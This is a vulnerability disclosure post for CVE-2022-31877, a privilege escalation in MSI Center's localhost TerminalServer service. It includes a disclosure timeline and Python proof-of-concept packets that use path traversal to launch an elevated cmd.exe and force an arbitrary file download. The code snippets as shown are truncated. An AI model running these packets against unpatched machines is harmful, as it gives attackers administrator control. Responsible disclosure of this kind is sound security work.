CVE-2022-31877: Privilege Escalation in MSI Center

Missing input validation and missing authentication allow attackers with the ability to connect to TCP/IP ports on localhost:26822 (e.g. any low-privileged user space process) to download and/or launch arbitraty executables with elevated privileges.



MSI Center, a tool suite provided by MSI to configure and manage MSI mainboards, includes an executable MSI.TerminalServer.exe which is installed as a privileged service by default and allows incoming TCP/IP connections on localhost:26822. Via the TCP/IP channel, in version, it accepts several JSON-formatted command packets without any authentication, including commands which download files from the web and launch executables with elevated privileges.

While these commands are meant to download and install updates of MSI Center, missing authentication allows attackers to trigger a download of arbitrary files form the web to the local file system. Missing input validation enables attackers to launch arbitrary executables, including the downloaded ones, with elevated permissions by employing path traversal techniques.

Combined, these vulnerabilities could, for example, serve as an entry point for user-space applications (like email attachments) to fully compromise a system, including installation of malware or ransomware.

Proof of Concept

The following simple Python example will start an elevated Administrator command prompt when executed on a machine running MSI Center.

import socket
import json

packet = {
    "Type": "RunSetupModule",
    "Content": json.dumps({
        "Dependent": [{
            "File": "..\\..\\..\\Windows\\system32\\cmd.exe"
        "DependentIndex": 0,
        "ProgressStatus": 21

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 26822))

Similarly, an arbitray file download can be triggered via the DownloadModule packet type:

packet = {
    "Type": "DownloadModule",
    "Content": json.dumps({
        "ProcessURL": "",
        "Dependent": [{
            "File": "foo.exe"
        "DependentIndex": 0


  • May 19, 2022: Contacted vendor with a detailed report and PoC
  • May 25, 2022: Issue partially confirmed by vendor
  • May 25, 2022: Supplied more details including screencast of PoC
  • May 27, 2022: Vendor confirms they are working on a fix
  • June 3, 2022: CVE number assigned
  • June 3, 2022: Vendor reports the issue is fixed in MSI.TerminalServer.exe 3.2022.0527.01 by introducing CA signature validation before launching executables
  • July 5, 2022: I was able to update to a recent MSI Center version and confirm the issue has been fixed (i.e. the PoC is no longer working)
  • July 8, 2022: Public disclosure

Thank You and Side Note

I would like to thank MSI for quickly fixing this issue. However, it was difficult to find a contact in MSI to report this issue. I would like to encourage MSI to establish and publish a process to report security vulnerabilities in their products and add an easier way to contact security, without going through various tiers of technical support first. A first step could be to set up a dedicated email address and a /.well-known/security.txt file for easily finding contact information.

2 thoughts on “CVE-2022-31877: Privilege Escalation in MSI Center”

  1. Pingback: Vulnerability Summary for the Week of November 28, 2022 – TFun dot org

  2. Pingback: Vulnerability Summary for the Week of November 28, 2022 – Totally Secure

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